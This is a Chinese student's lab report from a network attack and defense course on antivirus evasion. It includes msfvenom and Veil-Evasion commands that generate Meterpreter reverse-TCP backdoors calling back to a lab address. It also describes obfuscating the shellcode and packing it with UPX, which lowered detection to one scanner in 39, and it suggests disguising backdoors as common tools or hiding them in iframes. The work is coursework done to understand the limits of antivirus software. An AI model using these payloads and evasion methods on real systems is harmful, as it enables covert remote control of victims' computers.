2017-2018-2 20155315《网络对抗技术》Exp3:免杀原理与实践
实验目的
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
教程
实验内容
- 使用msf编码器,msfvenom,veil-evasion,shellcode编程等免杀工具。
- 通过组合应用各种技术实现恶意代码免杀。
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功。
实验步骤
(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 使用msfvenom直接生成可执行文件,virus total报毒

- 使用msfvenom编码器一次或多次报毒率没有多大区别
- 使用veil-evasion生成可执行文件,安装veil之后输入
veil进入操作界面 - 使用
use evasion进入evasion操作界面,可以看到可使用的payload有很多
- 输入
list列出所有的payload,使用c/meterpreter/rev_tcp.py,使用命令生成文件
use 7 //c/meterpreter/rev_tcp.py所在选项
set LHOST 192.168.64.129 //设置返回地址
set LPORT 5315 //设置端口号
generate //执行命令
- 使用
options显示参数 - 输入文件名,保存在
/var/lib/veil/output/compiled中
- 用virscan检测,报毒率减少了许多

- 使用c语言生成shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
- 生成可执行文件,回连成功

- virscan报毒率为23%

(二)通过组合应用各种技术实现恶意代码免杀
- Linux下生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.129 LPORT=5315 -f c
- 使用vs编译调用shellcode
- 运行生成的文件,回连成功

- virscan报毒率变成了10%,看来胜利在望。

- 通过老师的方法报毒率减少了很多,那是不是可以把shellcode处理一下,使杀软检测不到特征码呢?于是我用之前计算机实习时的一个程序随机的向shellcode中添加了50个
/?将shellcode的代码进行处理后使用函数调用,运行后腾讯电脑管家没有报错,回连成功。

- 用virscan进行扫描,只有瑞星的杀毒软件查出了病毒。(ps:瑞星真的强大,每次都能查出病毒,事实证明电脑管家可以换掉了)

(三) 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 系统:win10
- 杀软:腾讯电脑管家 12.11
- 与本机杀软共生

- 回连成功

实验中遇到的问题
- 一开始使用vs生成空项目,添加cpp文件之后编译总是报错,查找资料后发现应该使用的是vc++的Windows控制台应用程序。
- 用自己编的代码生成程序的时候报错,调试后发现是循环的条件不对,不能单纯通过'\0'来判断是否在数组的结尾,修改之后编译成功。
实验中进行测试的程序
| 序号 | 程序名 | 来源 | virscan |
|---|---|---|---|
| 1 | backdoor1.exe | msfvenom直接生成 | 48%(19/39) |
| 2 | zyl_backdoor1.exe | Veil-evasion | 23%(9/39) |
| 3 | test1.exe | Linux c+shellcode | 23%(9/39) |
| 4 | rezyl1.exe | UPX压缩壳 | 15%(6/39) |
| 5 | zyl1.exe | vs c+shellcode(简单) | 10%(4/39) |
| 6 | zyl3.exe | vs c+shellcode(自定义) | 2%(1/39) |
基础问题回答
- 杀软是如何检测出恶意代码的?
- 如果一个可执行文件中包含特征码,即可执行文件中有一段或多段可疑数据如shellcode之类的,杀软就认为这是恶意代码
- 如果一个程序有特征码且有未经授权的非法动作时,杀软检测为恶意代码
- 免杀是做什么?
- 免杀能够让恶意代码绕过杀软的检测进行非法操作
- 免杀的基本方法有哪些?
- 改变特征码,如加壳、c语言调用shellcode
- 改变行为,尽量使用反弹式连接、减少对系统的修改
- 非常规方法可使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
离实战还缺些什么技术或步骤?
- 将代码编写成一个函数进行调用
- 使用多种工具对代码加壳、压缩、伪装等
- 将代码嵌入网页的iframe中等
- 将代码伪装成常用工具等
实验总结
这次实验在安装veil的时候电脑坏了,重装系统之后用了老师的虚拟机。总的来说实验难度不是很大,主要是在安装各个程序的时候会出现问题。就实验结果来看,自己编的调用shellcode的程序在virscan中的报毒率是最低的,只有一个软件报毒,我电脑上安装的腾讯电脑管家也显示没有发现病毒,虽然实验一步步做下来很有成就感,但是因为之前电脑坏了就有点后怕,做实验之前一定要备份!!安装一个靠谱杀软真的太重要了!
参考资料
- [VS2017使用创建C语言的控制台项目](https://jingyan.baidu.com/article/3a2f7c2e25f41926afd611c0.html)
2017-2018-2 20155315《网络对抗技术》Exp3:免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- clr_zmq Vs2010版本
.net的消息队列很方便的一个库. 在github上的主版本虽然也支持fw4.0,但是必须使用vs2012以上进行编译. 这样就依赖vcredist运行时. 因为win7 sp1以下版本,无法安装vc ...
- Oracle案例13—— OGG-01163 Oracle GoldenGate Delivery for Oracle, reprpt01.prm
由于虚拟机宿主机重启,导致很多虚拟机服务需要重点关注,其中一个DG的从库和另一个report库有OGG同步,所以这里再系统恢复后检查OGG状态的时候,果然目标端的REPLICAT进程处于abend状态 ...
- 更新tableView的某个cell
更新tableView的某个cell 异步加载完数据后更新某个cell,这应该是非常常见的使用方法了,我们经常会用reloadData. 效果: 源码: // // RootViewControlle ...
- spine获取骨骼位置
time: 2015/07/23 版本: /****************************************************************************** ...
- Linux 系统磁盘挂载信息文件
设置文件系统挂载信息的文件(etc/fstab),使得开机能够自动挂载磁盘分区 文件系统挂载 方法一: 直接挂在,临时生效 # 格式化系统(没有格式化就没有文件系统,放不了数据) dd if=/dev ...
- Linux wc命令详解
wc常见命令参数 wc -l : 统计行 wc -c: 统计字节数 wc -m:统计字符数,不能与-c同时使用 wc -w:统计字数 wc -L:打印最长长度 注意: wc 可以直接后面跟文件使用,但 ...
- Asp.Net网站的的编译与发布原理
如下所示创建一个简单的asp.Net Web应用程序 在VS中生成解决方案之后,可以在项目的目录下看到以下的文件: ...
- ZT 用gdb调试core dump文件
用gdb调试core dump文件 转载自:http://blog.chinaunix.net/u2/83905/showart_2134570.html 在Unix系统下,应用程序崩溃,一般会产生c ...
- ZT 二分插入排序也称折半插入排序
二分插入排序也称折半插入排序,基本思想是:设数列[0....n]分为两部分一部分是[0...i]为有序序列,另一部分是[i+1.....n]为无序序列,从无序序列中取一个数 x ,利用二分查找算法找到 ...
- 一个查询ip地址的mysql数据库--ip2nation
http://ip2nation.com/ip2nation/Sample_Scripts/Country_Based_Redirect 并且已经集成进了laravel:https://github. ...